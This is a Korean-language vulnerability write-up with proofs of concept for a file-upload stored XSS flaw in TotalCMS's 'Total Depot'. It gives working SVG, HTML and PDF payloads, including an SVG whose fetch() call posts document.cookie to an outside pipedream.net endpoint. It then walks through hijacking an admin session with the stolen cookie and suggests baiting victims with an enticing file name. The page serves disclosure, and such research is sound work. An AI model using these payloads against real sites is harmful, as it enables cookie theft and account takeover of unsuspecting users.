
TotalCMS는 임의 파일 업로드 - XSS 취약점의 영향을 받으며, 이를 통해 저장형 교차 사이트 스크립팅(XSS) 공격과 세션 쿠키 탈취가 가능합니다.
설명: TotalCMS는 교차 사이트 스크립팅(XSS)과 세션 쿠키 탈취를 가능하게 하는 임의 파일 업로드 - XSS 취약점의 영향을 받습니다.
공격 벡터: "Total Depot" 파일 업로드 검증(sanitation)의 취약점으로 인해 숨겨진 alert 교차 사이트 스크립팅(XSS)이 포함된 PDF / SVG / HTML 파일을 업로드하고 사용자 쿠키를 탈취할 수 있습니다.
다음 2가지 PoC를 수행합니다:
첫 번째 PoC부터 시작합니다:
관리자 패널(https://www.totalcms.co/demo/total-cms/admin/)에 로그인하면 관리자 사이트의 "Total Depot"으로 이동하여 숨겨진 XSS가 포함된 PDF / SVG / HTML 파일을 업로드합니다.
다음은 페이로드입니다:
JS2PDFInjector 도구로 생성된 XSS 페이로드이며, 다음 내용을 포함하는 js 페이로드입니다:
app.alert("XSS");
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
<html>
<script>
alert(document.cookie);
</script>
</html>


업로드가 완료되면 해당 링크를 클릭하여 파일이 저장된 경로를 확인할 수 있습니다:

파일 경로:



그리고 다음은 3가지 유형의 파일에 대한 교차 사이트 스크립팅(XSS) 실행 결과와 사용자 쿠키입니다:



두 번째 PoC를 진행합니다:
사이버 범죄자처럼 행동하여 사용자의 세션 쿠키를 탈취하고 서버로 전송해 보겠습니다.
이 경우에는 PoC로 파일 하나를 업로드했지만, 실제 상황에서는 "NBA Tickets"처럼 흥미로운 이름의 파일을 업로드하여 게시할 수 있습니다. 그러면 피해자 사용자가 파일을 실행할 때 자신도 모르는 사이에 저에게 쿠키를 보내게 됩니다.
먼저 외부 서버와 통신이 되는지 테스트를 수행합니다.
다음은 페이로드입니다:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />
<script>
//<![CDATA[
alert("XSS");
]]>
</script>
</svg>


pipedream Request에서 볼 수 있듯이 요청을 정상적으로 수신했습니다.
쿠키를 탈취하여 pipedream Request로 전송하도록 페이로드를 수정하여 사용자를 사칭할 수 있게 합니다.
다음은 페이로드입니다:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script>
fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
실행합니다:


이미지에서 볼 수 있듯이 사용자의 세션 쿠키를 정상적으로 탈취했습니다.
이제 사용자를 사칭해 보겠습니다. 테스트를 위해 다른 브라우저에서 TotalCMS/admin 세션을 열고 "Cookie Editor" 애드온을 실행합니다.

세션 쿠키를 pipestream에서 얻은 쿠키로 수정하고 저장합니다.

웹사이트를 다시 로드했고 관리자 사용자를 사칭했습니다.

https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html